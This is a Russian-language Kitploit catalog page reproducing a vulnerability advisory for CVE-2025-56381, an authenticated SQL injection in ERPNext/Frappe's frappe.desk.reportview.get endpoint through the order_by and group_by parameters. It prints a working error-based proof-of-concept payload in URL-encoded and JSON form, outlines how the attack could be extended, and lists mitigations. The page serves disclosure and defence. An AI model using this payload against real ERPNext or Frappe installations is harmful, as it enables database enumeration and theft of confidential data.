Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/moalali/cve-2025-56381
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и Образование
GitHubmoalali/cve-2025-56381

CVE-2025-56381

ERPNEXT v15.67.0 был обнаружен как содержащий множественные уязвимости SQL-инъекций в конечной точке /api/method/frappe.desk.reportview.get через параметры order_by и group_by.

Репозиторий
110 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-56381 — Аутентифицированная SQL-инъекция в ERPNext / Frappe через параметры order_by и group_by

📌 Краткое описание ERPNext v15.67.0 и Frappe Framework v15.72.4 содержат множественные аутентифицированные уязвимости SQL-инъекции в конечной точке API frappe.desk.reportview.get. Вредоносный ввод в параметры order_by или group_by может быть использован для внедрения и выполнения произвольных SQL-запросов. Это позволяет аутентифицированному пользователю (с базовым доступом к отчетам) извлекать конфиденциальные данные, выполнять перечисление базы данных и потенциально манипулировать или повышать привилегии в системе.


🛠 Технические детали

  • Тип уязвимости: SQL-инъекция (CWE-89)

  • Затронутые продукты: ERPNext / Frappe

  • Затронутые версии:

    • Frappe — 15.72.4
    • ERPNext — 15.67.0
  • Затронутая конечная точка:

    root@kitploit:~
    POST /api/method/frappe.desk.reportview.get
    
  • Уязвимые параметры:

    • order_by
    • group_by
  • Требуется аутентификация: Да (действительная сессия через cookie sid)

  • Тип атаки: Удаленная

  • Серьезность: Высокая (выполнение SQL-кода, эксфильтрация данных, потенциальное повышение привилегий)

  • Оценочный балл CVSS v3.1: 8.6 (Высокий) — оценка; окончательный балл должен быть присвоен официальным органом CVE.

  • Статус: Не исправлено (на момент раскрытия)

  • Обнаружил: Mohammed Aloli (GitHub, X, LinkedIn)

  • Идентификатор CVE: CVE-2025-56381


🚀 Доказательство концепции (PoC) — SQL-инъекция на основе ошибок

image

✅ Тестируйте только на системах, которыми вы владеете или на тестирование которых имеете явное разрешение. Не используйте против производственных систем без согласия.

❗ Полезная нагрузка (URL-кодированная):

root@kitploit:~
%28select%20updatexml%28null%2Cconcat%280x7e%2Cdatabase%28%29%2C0x7e%29%2Cnull%29%29

Пример JSON-тела (POST-запрос):

root@kitploit:~
{
  "doctype": "User",
  "order_by": "(select updatexml(null,concat(0x7e,database(),0x7e),null))"
}

Это подтверждает, что SQL-инъекция была успешно выполнена и текущее имя базы данных было раскрыто.


🧪 Сценарий эксплуатации

  1. Злоумышленник входит в экземпляр ERPNext/Frappe с базовыми разрешениями (например, доступ к стандартным отчетам).
  2. Подготовленный POST-запрос отправляется на /api/method/frappe.desk.reportview.get с вредоносной полезной нагрузкой в order_by или group_by.
  3. Серверная часть некорректно вставляет это значение непосредственно в SQL-запрос без санитизации.
  4. Злоумышленник видит ошибку базы данных, раскрывающую внедренный вывод — что подтверждает инъекцию.
  5. Тот же метод может быть объединен с time-based полезными нагрузками, UNION-инъекцией или путями повышения привилегий в зависимости от конфигурации базовой базы данных.

🔐 Рекомендации по смягчению последствий

  1. Используйте параметризованные запросы: Весь пользовательский ввод должен быть безопасно привязан и никогда не конкатенироваться напрямую в SQL-запросы.
  2. Строгая проверка ввода: Проверяйте order_by и group_by на соответствие известному белому списку допустимых имен столбцов перед обработкой.
  3. Правильное экранирование идентификаторов: Используйте экранирование, специфичное для СУБД, для идентификаторов столбцов/полей, если требуется динамическое использование.
  4. Минимизируйте воздействие: Ограничьте доступ к API /reportview.get и функциям отчетов на основе ролей пользователей и уровней доверия.
  5. Санитизируйте журналы: Избегайте регистрации необработанных полезных нагрузок инъекций, чтобы предотвратить утечку в системах аудита.
  6. Ограничение частоты API-запросов: Ограничьте высокочастотные вызовы API, чтобы снизить влияние слепых попыток перечисления или перечисления на основе ошибок.
  7. Применяйте исправления: Поддерживающие Frappe должны выпустить исправление, защищающее эту конечную точку, и провести аудит других методов frappe.desk. Операторы должны обновиться, как только исправление станет доступно.

🔗 Ссылки

  • Обнаружитель: Mohammed Aloli

    • GitHub: MoAlali
    • X (Twitter): @alaliksa_
  • Frappe Framework: https://github.com/frappe/frappe

  • Проект ERPNext: https://github.com/frappe/erpnext

  • Шпаргалка OWASP по предотвращению SQL-инъекций: https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html

📢 Отказ от ответственности

Данное уведомление опубликовано исключительно в образовательных целях и для защитных исследований безопасности. Эксплуатация этой уязвимости без авторизации незаконна и неэтична. Если вы разработчик или администратор ERPNext или Frappe, немедленно примените рекомендуемые меры смягчения последствий и отслеживайте необычное использование API.


Скачать инструмент